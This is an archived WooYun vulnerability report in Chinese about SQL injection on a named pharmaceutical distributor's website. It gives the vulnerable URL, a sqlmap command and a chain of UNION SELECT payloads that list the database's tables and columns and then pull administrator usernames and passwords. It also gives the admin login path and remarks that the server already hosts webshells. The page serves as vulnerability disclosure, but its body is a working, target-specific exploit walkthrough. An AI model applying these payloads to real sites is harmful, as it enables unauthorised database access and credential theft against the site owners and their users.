当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0148488

漏洞标题:国药控股浙江有限公司SQL注入

相关厂商:国药集团

漏洞作者: j0k3r

提交时间:2015-10-22 10:39

修复时间:2015-10-27 10:40

公开时间:2015-10-27 10:40

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-22: 细节已通知厂商并且等待厂商处理中
2015-10-27: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

rt

详细说明:

注入点:http://www.gkzj.com/news_show.php?id=385
上sqlmap

sqlmap.py -u http://www.gkzj.com/news_show.php?id=385


8.png


手注之

http://www.gkzj.com/news_show.php?id=-385 UNION SELECT 1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
如下
blog@localhost^^5.5.9^^cswz^^D:/MySQL/MySQL Server 5.5/


9.png


继续

http://www.gkzj.com/news_show.php?id=-385 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 from information_schema.tables where table_schema=database()
得到tables
huiyuan,
jxc,
kc,
kuwebs_about,
kuwebs_admin,
kuwebs_download,
kuwebs_faq,
kuwebs_friendlink,
kuwebs_img,
kuwebs_indexpage,
kuwebs_job,
kuwebs_menu,
kuwebs_news,
kuwebs_online,
kuwebs_para,
kuwebs_product,
kuwebs_server,
kuwebs_skin,
purview,
temp_udf,
user,
user_dtl


3.png


继续爆columns

http://www.gkzj.com/news_show.php?id=-385 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 from information_schema.columns where table_name=0x6b75776562735f61646d696e
如下
id,
adminuser,
adminpassword,
admingroup,
nickname,
adminsex,
admintel,
adminemail,
adminqq,
adminmsn,
adminali,
admincompany,
admincompanyaddress,
admincompanyfax,
admincompanycode,
admincompanywebsite,
adminregtime,
adminmodifytime,
adminmodifyip,
adminaccesstime,
language,remark,
regtime,
reserved1,
reserved2,
reserved3,
level,
createdUser


2.png


获取用户名密码
http://www.gkzj.com/news_show.php?id=-385 UNION SELECT 1,group_concat(adminuser,0x5e,adminpassword),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 from kuwebs_admin
如下

1.png


后台:http://www.gkzj.com/admin/index.php?path=login&menu=login

5.png


iis7.5+fck
已成马场~

7.png


漏洞证明:

1.png


5.png


7.png

修复方案:

~~

版权声明:转载请注明来源 j0k3r@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-10-27 10:40

厂商回复:

漏洞Rank:2 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论